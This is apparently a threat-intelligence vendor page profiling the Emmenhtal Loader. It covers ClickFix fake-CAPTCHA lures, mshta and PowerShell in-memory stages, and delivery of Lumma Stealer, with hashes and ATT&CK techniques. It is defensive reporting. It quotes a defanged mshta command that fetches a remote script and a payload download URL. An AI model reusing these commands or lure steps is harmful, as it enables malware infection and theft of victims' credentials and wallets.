Emmenhtal Loader
Emmenhtal Loader is a multi-stage malware loader used to deliver commodity malware, particularly information stealers. The provided reporting links it most directly to delivery of Lumma Stealer, and also refers to it by the alias PEAKLIGHT. Multiple sources describe Emmenhtal Loader being used in ClickFix-style and MSHTA-based infection chains in which victims are socially engineered into executing malicious commands, often through fake CAPTCHA, fake human-verification, fake browser error, fake Cloudflare Turnstile, or fake reCAPTCHA pages. In these chains, users are instructed to paste commands into the Windows Run dialog, after which mshta.exe retrieves or executes remote HTA/script content, frequently in memory. Reporting also states that malicious PowerShell commands executed mshta.exe against remote scripts masquerading as media files such as MP3, MP4, and M4A.
The content specifically identifies an Emmenhtal Loader version 2. TDR analysts identified a script as the initial stage of Emmenhtal Loader v2, and Sekoia identified the remote script launched by ClearFake-distributed PowerShell commands as Emmenhtal Loader v2. In the analyzed chains, Emmenhtal Loader ultimately deployed Lumma Stealer. Bitdefender also described Emmenhtal Loader activity in Discord phishing and fake verification campaigns where the HTA payload was executed directly in memory by mshta.exe, padded with garbage data to hinder analysis, and followed by a PowerShell stage that downloaded and executed a remote script in memory without writing it to disk. One analyzed PowerShell stage included an AMSI bypass by patching clr.dll before decoding and loading a .NET assembly in memory; the final assembly in that case was a LummaStealer payload.
Emmenhtal Loader is associated in the provided content with ClearFake campaigns on compromised websites. ClearFake used ClickFix social engineering and Binance Smart Chain-hosted components to deliver malicious PowerShell commands that launched mshta.exe and fetched Emmenhtal Loader v2. ClearFake previously used fake browser updates and later fake CAPTCHA-style lures to distribute Emmenhtal Loader, with reporting noting that ClearFake's use of ClickFix to deliver Emmenhtal Loader was first recorded in May 2024. The content also states that Emmenhtal Loader has been observed in active MSHTA-abuse campaigns alongside other loaders such as CountLoader.
Targeting in the provided material is broad and opportunistic, centered on Windows users exposed through phishing, Discord messages, compromised websites, fake software/download lures, and ClickFix prompts. The final payload focus described in the reporting is credential theft, session cookie theft, and cryptocurrency wallet theft via Lumma Stealer. High-confidence indicators directly provided for Emmenhtal Loader artifacts include SHA256 hashes AA845A8FB4AB38AEBE6A16A2A8F80CA4467AC0991D3EEF4D8A10BDF97DEDB1E9, 02630FA994B1566AD1515FD87220FC037B967F07495985A3637D68D7E08C57EE, and 1E0E375F3EE82D5AF5DFE6F7DF0E2FAC9A7D37C67ADD3390D05A93AFD85B7C84.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Groups observed using it
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
ClearFake's use of ClickFix was first recorded in May 2024, leveraging CAPTCHA challenges for delivering Emmenhtal Loader (aka PEAKLIGHT), which then drops Lumma Stealer.
Techniques & procedures
19 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
4 techniquesClearFake is a malicious JavaScript framework deployed on compromised websites to deliver malware through the drive-by download technique.
In some cases, MSHTA pulls a script from an attacker-controlled server, while in others it sits inside a longer chain involving phishing, fake software downloads, and ClickFix-style social engineering tricks.
ClearFake adopted the new social engineering tactic ClickFix, displaying fake error messages in the web browser and deceiving users into copying and executing a given malicious PowerShell code... This latest variant uses fake reCAPTCHA or Cloudflare Turnstile verifications, along with fake technical issues, to trick users into resolving these CAPTCHA challenges and finally executing malicious PowerShell code.
Attackers send phishing messages on Discord linking to fake verification pages disguised as reCAPTCHA systems.
Execution
6 techniquesInside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts that quietly launch the attack in the background.
deceiving users into copying and executing a given malicious PowerShell code... Once executed, the PowerShell command infected the user’s system.
HTA files can embed JavaScript and VBScript code, allowing script execution in the context of a trusted, signed process.
The infection starts when a victim downloads what appears to be free or cracked software... When a user visits one of these pages, JavaScript secretly copies a malicious command to the clipboard and instructs them to press Win + R, paste it, and hit Enter.
The user is then lured into pressing Win + R to open the Run dialog, followed by Ctrl + V and Enter to paste and execute the command.
The user is then misled into following steps to proceed with verification. The instructions involve opening the Run command window using the shortcut Win+R, copying and pasting a command, and executing it.
Stealth
6 techniquesthe ClearFake operator stored an obfuscated JavaScript, encoded in base64 and converted in hexadecimal, within a smart contract’s Application Binary Interface... These obfuscated PowerShell commands execute Mshta.exe... PowerShell script 3 employs multiple obfuscation techniques: XOR obfuscation, Use of arithmetic expressions, Character conversion, Use of random variable names.
The victim executes a Setup.exe file, which is in fact a legitimate Python interpreter... The same directory also contains a renamed MSHTA executable, iso2022.exe.
the returned value of the functions of the ABI are strings that are compressed with the gzip algorithm and base64 encoded... atob to decode the base64 then pako.gunzip to decompress... Download the AES key from the contract... decrypt it with the AES-GCM algorithm.
These obfuscated PowerShell commands execute Mshta.exe with a script hosted on a remote server... The script is the initial stage of Emmenhtal Loader... The ClickFix lure deceived users to execute the following MSHTA command: mshta hxxps://microsoft-dns-reload-1r.pages[.]dev
First, it sets the MSHTA window to 1x1 pixels, starts it minimized, and hides it from the taskbar to evade detection.
Based on Bitdefender's analysis, MSHTA is used as an intermediary step in multi-stage PowerShell attacks before the retrieval of malicious payloads is complete, with attackers executing scripts directly in memory to evade security controls.
Collection
1 techniqueWhen a user visits one of these pages, JavaScript secretly copies a malicious command to the clipboard and instructs them to press Win + R, paste it, and hit Enter.
Command and Control
1 techniqueThis script downloads malicious code located at hxxps://ty.klipxytozyi[.]shop/kangarooing.bmp... The PowerShell command downloads and executes another PowerShell script from GitHub... This second PowerShell script proceeds to download and execute an executable from GitHub.
Other
1 techniqueIOCs tracked for this family
101 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A loader used in a ClickFix-style phishing chain where victims are tricked into running MSHTA, which fetches a remote script executed in memory and ultimately drops LummaStealer.
A multi-stage malware loader linked to active MSHTA-enabled infection chains in the reported campaigns.
A multi-stage malware loader associated with MSHTA-based execution chains and social-engineering-driven delivery of malicious payloads.
Malware loader distributed via ClickFix-style lures (fake browser updates/CAPTCHAs) to facilitate delivery of subsequent payloads such as stealers.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.